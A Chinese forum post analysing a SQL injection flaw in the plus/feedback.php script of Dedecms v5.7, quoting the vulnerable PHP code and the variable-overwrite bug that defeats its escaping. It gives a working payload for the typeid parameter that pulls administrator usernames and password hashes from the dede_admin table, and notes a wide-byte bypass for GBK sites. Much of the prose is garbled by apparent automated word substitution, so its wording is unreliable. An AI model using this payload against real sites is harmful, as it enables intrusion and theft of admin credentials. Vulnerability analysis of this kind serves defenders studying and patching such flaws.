Dedecms v5.7 plusfeedback.php SQL注入漏洞

破绽描绘

DedeCms是免费的PHP网站内容管理系统。
Dedecms v5.7的plusfeedback.php SQL没有正确考证用户提供的输入,在完成上中存在注入破绽,攻击者可应用此破绽注入SQL代码。
 


 

破绽版本

dedecms 5.7
 


 

破绽剖析

首先看到/plus/feedback.php

if($comtype == 'comments')
    {
        $arctitle = addslashes($title);
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
        echo $inquery;//调试,输出查询语句
            $rs = $dsql->ExecuteNoneQuery($inquery);
            if(!$rs)
            {
                ShowMsg(' 发表评论错误! ', '-1');
                //echo $dsql->GetError();
                exit();
            }
        }
    }
    //援用回复
    elseif ($comtype == 'reply')
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
        $arctitle = $row['arctitle'];
        $aid =$row['aid'];
        $msg = $quotemsg.$msg;
        $msg = HtmlReplace($msg, 2);
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
        $dsql->ExecuteNoneQuery($inquery);
}

其中$typeid变量没有初始化 测试后发现SQL语句为:

INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','TYPEID','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');

第二个参数typeid是能够控制的

但是DEDE又本人的防御机制,写在common.inc.php,会把request的参数都过滤一遍

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            if($_k == 'nvarname') ${$_k} = $_v;
            else ${$_k} = _RunMagicQuotes($_v);
        }
    }

     
看似曾经没问题了,但是在filter.ini.php中

function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
        }
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE停止过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}
 

上面是处置敏感词的代码,但是又对变量停止了注册,招致了变量二次掩盖破绽。其实这破绽很早前就存在,之前的是由于对提交的变量只检查一维数组的key,能够被绕过从而创立不允许的系统配置变量,dedecms历来的修正都让人摸不着头脑,修补的都是外表的东西,本质招致破绽问题的缘由不做修正。从这次的补丁看来,他就只加了一句判别$typeid能否为数字,关于80sec的防注入代码2次被绕过还继续忽视。 所以在GPC=OFF的时分,被转义的变量又会被重新掩盖而变成正常代码。 Eg: typeid=2’ 经过掩盖 typeid=2’ 研讨过上次dedecms SQL注入的问题的同窗肯定理解他的防注入机制。这里做下简单的剖析。他关于到之间的内容作为可信任,不对其停止检查。所以我们只需把想应用的代码放在’ ‘内就能躲过检查。应用Mysql的一个语法,他的值@'为空,下面来结构破绽exp:
 

typeid=123',@',0x11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,'1111

这里应用了一个小bug

图片[1]-Dedecms v5.7 plusfeedback.php SQL注入漏洞-孤勇者社区

能够看到他的表构造,只要msg能够为null,但是应用代码中在username中用了null,这是非法的语句,单独插入是不会胜利的,但是后面一句语句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)契合条件的时分会胜利同时插入2条语句。由于显现字符数量的问题,所以选择了msg字段作为输出。

图片[2]-Dedecms v5.7 plusfeedback.php SQL注入漏洞-孤勇者社区

这是GPC为OFF的状况下,ON的状况下只要GBK才干应用,用宽字节注入绕过。
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片